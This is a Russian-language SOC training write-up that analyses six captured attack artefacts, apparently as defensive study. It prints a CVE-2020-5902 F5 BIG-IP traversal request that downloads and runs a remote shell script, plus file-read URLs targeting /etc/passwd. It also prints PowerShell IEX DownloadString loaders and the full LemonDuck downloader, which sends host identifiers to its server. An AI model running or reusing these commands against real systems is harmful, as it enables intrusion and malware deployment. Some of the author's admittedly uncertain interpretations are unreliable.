⠀
⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀
⠀
### ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀Работа специалиста SOC
⠀
:::spoiler Task 1
⠀
Рассмотрим исходный GET запрос:
```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget+http%253A%252F%252F136.144.41.3%252Bigipdmcdmsklcmk%252ohsitsvegawellrip.sh+%253B+chmod+777+ohsitsvegawellrip.sh+%253B+sh+ohsitsvegawellrip.sh+%253B+wget+https%253A%252F%252Fhttps:%252%252iplogger.org%2522FGVP5 HTTP/1.1
Host: 10.27.243.60
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
```
> [color=lightgreen] /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp...
*JSP* или *Java Server Pages* — это технология *Java*, которая позволяет создавать динамические веб-страницы для *Java* приложений.
*JSP* позволяет разработчику:
- получать данные из веб-страницы в Java-код;
- отправлять данные из Java кода на веб-страницу;
- писать Java-код, прямо внутри html.
Начало строки: перехват запроса до директории админки /login.jsp, изменение запроса (Можно даже с помощью BurpSuite) и проведение атаки Directory Traversal.
Иллюстрационный пример:
```
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
```
Выполнение произвольных команд и получение доступа к файлам веб ресурса уже обеспечно. Эксплуатируя эту уязвимость злоумышленники могут получить доступ к хранящимся на веб сервере данным, выполнять любые команды.
Дальше видим загрузку скрипта *.sh* на целевой ресурс с помощью утилиты *wget*. Назначение скрипта неизвестно. География *IP*-Адреса - Нидерланды.
>[color=lightgreen] ...?command=wget+http%253A%252F%252F136.144.41.3%252Bigipdmcdmsklcmk%252ohsitsvegawellrip.sh
>
⠀
⠀⠀⠀⠀⠀
⠀
Повышение прав доступа к скрипту с помощью *chmod* - теперь файл может прочитать/изменить/запустить любой непривелигированный пользователь.
>[color=lightgreen] *chmod 777*
Затрудняюсь сказать, зачем здесь *iplogger.com*. Возможно для отслеживание IP-адресов, взаимодействующих с сервером, развития дальнейшей атаки с зараженного сервера или отслеживания местонахождения жертв, в случае если это "слепая" атака.
⠀

⠀
Одним словом **CVE-2020-5902**
Уязвимость позволяет неавторизованному злоумышленнику, в том числе не прошедшему проверку подлинности, но имеющему доступ к конфигурационной утилите *BIG-IP*, выполнить произвольный код в программном обеспечении, получить доступ к конфиденциальной информации или перехватить трафик, осуществить атаки с сервера, где расположен TMUI.
⠀
> [color=lightgreen] *TMUI* - *Traffic Management User Interface* производства *F5*, или просто веб-интерфейс управления трафиком
> [color=lightgreen] *BIG-IP* представляет собой набор модулей, который работает на собственной операционной системе *TMOS*, и позволяет контролировать вычислительную мощность серверного оборудования, а также безопасность и доступность услуг, которые необходимы для приложений.
*Многоцелевые сетевые устройства BIG-IP могут быть настроены для работы в качестве систем управления трафиком, балансировщиков нагрузки, брандмауэров, шлюзов доступа и так далее. Эти устройства являются одними из наиболее востребованных сетевых продуктов на сегодняшний день и используются в работе многих крупнейших и важнейших сетей. Так, девайсы BIG-IP работают в государственных сетях, в сетях интернет-провайдеров, в облачных ЦОД, а также во множестве корпоративных сетей.*
Защита - обновление до последних версий *BIG-IP*
:::
:::spoiler Task 2
⠀
Здесь выполнение обфусцированного *(все методы и аргументы команды разбиты на части, чтобы сделать команду нечитаемой для человеческого глаза или изменить сигнатуру файла для игнорирования антивирусными системами. Сборка происходит с помощью конкатенации разбитых строк)* скрипта *PowerShell*. На сколько мне известно, для изменения сигнатуры вредоноса используется именно кодирование *(например, Base64)*, а в данном случае скрипт сделали нечитаемым для человека. Могу ошибаться.
Командлет *Invoke-Expression* запускает указанную строку как команду. Метод ToInt, видимо, конвертирует набор *CHAR* символов в числовую последовательность, а toString в строку.
Можно разобрать метод *downloadString*, который используется для загрузки кода с ресурса, и исполнения уже на локальной машине.
Мне сложно предположить, что именно выполняет этот скрипт, но такое поведение - явное отклонение от нормы. Сисадмины не стали бы писать такой код. Буду считать, что система скомпрометирована.
:::
:::spoiler Task 3
⠀
Рассмотрим сохраненные события журнала Windows. Я буду использовать виртуальную машину с ОС Windows 7.
Откроем сохраненный журнал, и отметим несколько входных данных, чтобы лучше понимать, с чем мы работаем. Видно, что для ведения аудита используется *Sysmon* из утилит *Windows Sysinternals*. Вероятно, ОС - *Windows 10 (если верить имени ПК)*
⠀

⠀
Ошибки файла SEARCHPROTOCOLHOST.EXE-0CB8CADE **.pf** часто возникают на этапе запуска Microsoft Office, однако могут возникать во время работы программы.
⠀

⠀
Вот что бросилось в глаза: процесс svchost.exe в Windows 10 находится по пути
```
C:\Windows\System32\svchost.exe
```
В первом ивенте это действительно так, однако если переместиться на событие выше - путь у процесса другой! *system32* с маленькой буквы. Это нормально? Тоже самое с некоторыми другими процессами, уже не системными - например winword.exe Пожалуйста, не смейтесь
⠀

⠀

⠀
Следующий интересный ивент. Здесь мы запускаем загруженный файл *"employee termination letter.docx"*, после чего два раза вызван проводник.
⠀

⠀
Обращу внимание на имена вызываемых процессов. Проводник в Win10 имеет следующий путь и регистр:
```
C:\Windows\explorer.exe
```
Никаких ExPlOrEr.EXE в системных процессах нет. Я предположу, что именно этот ивент - точка входа, и именно открытие docx файла спровоцировало запуск невалидного процесса.
Идем дальше. Процесс *\wkssvc* должен иметь путь *C:\Windows\System32*, однако здесь происходит вообще что-то непонятное.
⠀⠀

⠀
Служба Windows, которая создает и поддерживает клиентские сетевые подключения к удаленным серверам по протоколу SMB. Это возможно, т.к. мы находимся в домене (точнее если предположить, что мы находимся в домене), и Windows, насколько мне известно, использует SMB протокол для совместного сетевого доступа типа *WORKGROUP* и при расшаривании папок, однако это было в семерке и XP, а в 10 чтобы его включить нужно дополнительные фичи устанавливать. Подозрительно!
⠀

⠀
Тоже самое с srvsvc, у которого путь должен быть C:\Windows\System32.
⠀

⠀
Дальше запуск Normal.dotm после запуска Office 17-го года
DOTM файлы используются в Microsoft Word 2007/2010/2013 в качестве файлов шаблонов документов. DOTM шаблоны используются, когда пользователь хочет создать несколько *.DOCX документов с таким же форматированием и с дополнительными макросами.

⠀

⠀
Почему Winword запускается из Prefetch?

⠀
Файл RarExt32.dll считается разновидностью файла WinRAR shell extension. Наиболее часто он используется в ПО WinRAR. Он использует расширение DLL и считается файлом Win32 DLL
⠀

⠀
Verslsid нет от System32

⠀

⠀
Запуск с PS IEX (New-Object System.Net.WebClient).DownloadString('http://omni-consumer-pr0ducts.tk/favicon.ico'); Выполнится строка в качестве команды, все это завуалировано до предела. Здесь уже все плохо.

⠀

⠀

:::
:::spoiler Task 4
⠀
Здесь выполнение скрипта в "скрытую" с административными правами (S-1-5), закодированного в Base64.
-NoP (--NoProfile) Не использовать профиль powershell
-NonI (--NonInteractive) Не использовать интерактивный режим
-W Hidden ( --Window Hidden) Не показывать окно командной строки
IEX(New-Object Net.WebClient).DownloadString('url нашего скрипта') - Выполнить скрипт путем загрузки его по урл из удаленного ресурса и загрузки его в памяти

⠀

:::
:::spoiler Task 5
⠀
Данное ВПО - криптомайнер под названием *LemonDuck* / вредонос с одноименным названием. LemonDuck имеет множество векторов атак, поэтому сложно однонаправленно идентифицировать его.
Разберем скрипт подробнее
```
powershell.EXE -w hidden -c
function a($u){ #Объявление функции, принимающей параметр $u (здесь скорее всего ссылка)
$d=(New-Object Net.WebClient).'DownloadData'($u); #Загружает ресурс, как массив Byte из заданного URI. uri берется и параметра функции, и этот массив записывается в переменную d
$c=$d.count; #Перменная c теперь принимает кол-во байт загруженного ресурса
if($c -gt 173){ #Если c > 173
$b=$d[173..$c]; # То переменная d - массив байт от d173 до c
$p=New-Object Security.Cryptography.RSAParameters; #
$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');
$p.Exponent=0x01,0x00,0x01;
$r=New-Object Security.Cryptography.RSACryptoServiceProvider;
$r.ImportParameters($p);
if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){
Iex(-join[char[]]$b)
}
}
}
$url='http://t.amynx.com'; #Создали переменную url
a($url+'/a.jsp?ipc_20201126?'+(@($env:COMPUTERNAME,$env:USERNAME, #Запуск функции выше, где аргумент - http://t.amynx.com/a.jsp?ipc_20201126?@abc и get-wmi-object, возвращающий продукт
(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*')) # get-
```
⠀

⠀
Реакция *VirusTotal*
⠀

⠀
>[color=lightgreen] Сайт - http://t.amynx.com/a.jsp?ipc20201126?+uuid
Снимок сайта с Wayback Machine, и немного информации о домене
⠀

⠀
Если попытаться найти информацию по сайту, натыкаемся на кучу упоминаний о криптомайнере *LemonDuck*, зародившегося в Китае в 2019 году. Массовое распространение вредонос получил в 2021 году.
Тут-же можно найти IoC'и на этот троян на гитхабе. Предоставляю ссылку: https://github.com/sophoslabs/IoCs/blob/master/Trojan-LDMiner.csv
Вредоносные контрольные суммы MD5
⠀

⠀
**Векторы заражения**
Lemon Duck имеет как минимум 12 различных векторов начального заражения — это больше, чем у большинства других вредоносных программ. Эксплойт Proxylogon — одно из последних дополнений к векторам. С существующим диапазоном возможностей от блока сообщений сервера (SMB) и протокола удаленного рабочего стола (RDP) он будет специально нацелен на уязвимость RDP BlueKeep (CVE-2019-0708) на компьютерах с Windows. С помощью этих стратегий он может нацеливаться на устройства IoT со слабыми паролями или паролями по умолчанию для выполнения атаки грубой силы.
Вредоносная программа Lemon Duck была написана на Phyton с использованием PyInstaller для усложнения. Он использует модули PowerShell для заражения бесфайловых данных. Используя уязвимость SMB (CVE-2017-0144) и атаки методом перебора, Lemon Duck может распространять инфекцию по сети организации.
:::
:::spoiler Task 6
Опять
-nol NoLogo
-nop NoProfile
-ep ExecutionPolicy Bypass
Загрузка файла C:\Users\vpupkin\Downloads\super-cool-game.zip, запуск l1.bat, выполнение скрипты повершелл, скорее всего в meterpretere или метасплойте делали. Злоумышленник получил удаленный доступ к скомпрометированному хосту

Управляющий сервер - 172.16.222.11
:::
###### tags: `Intesive`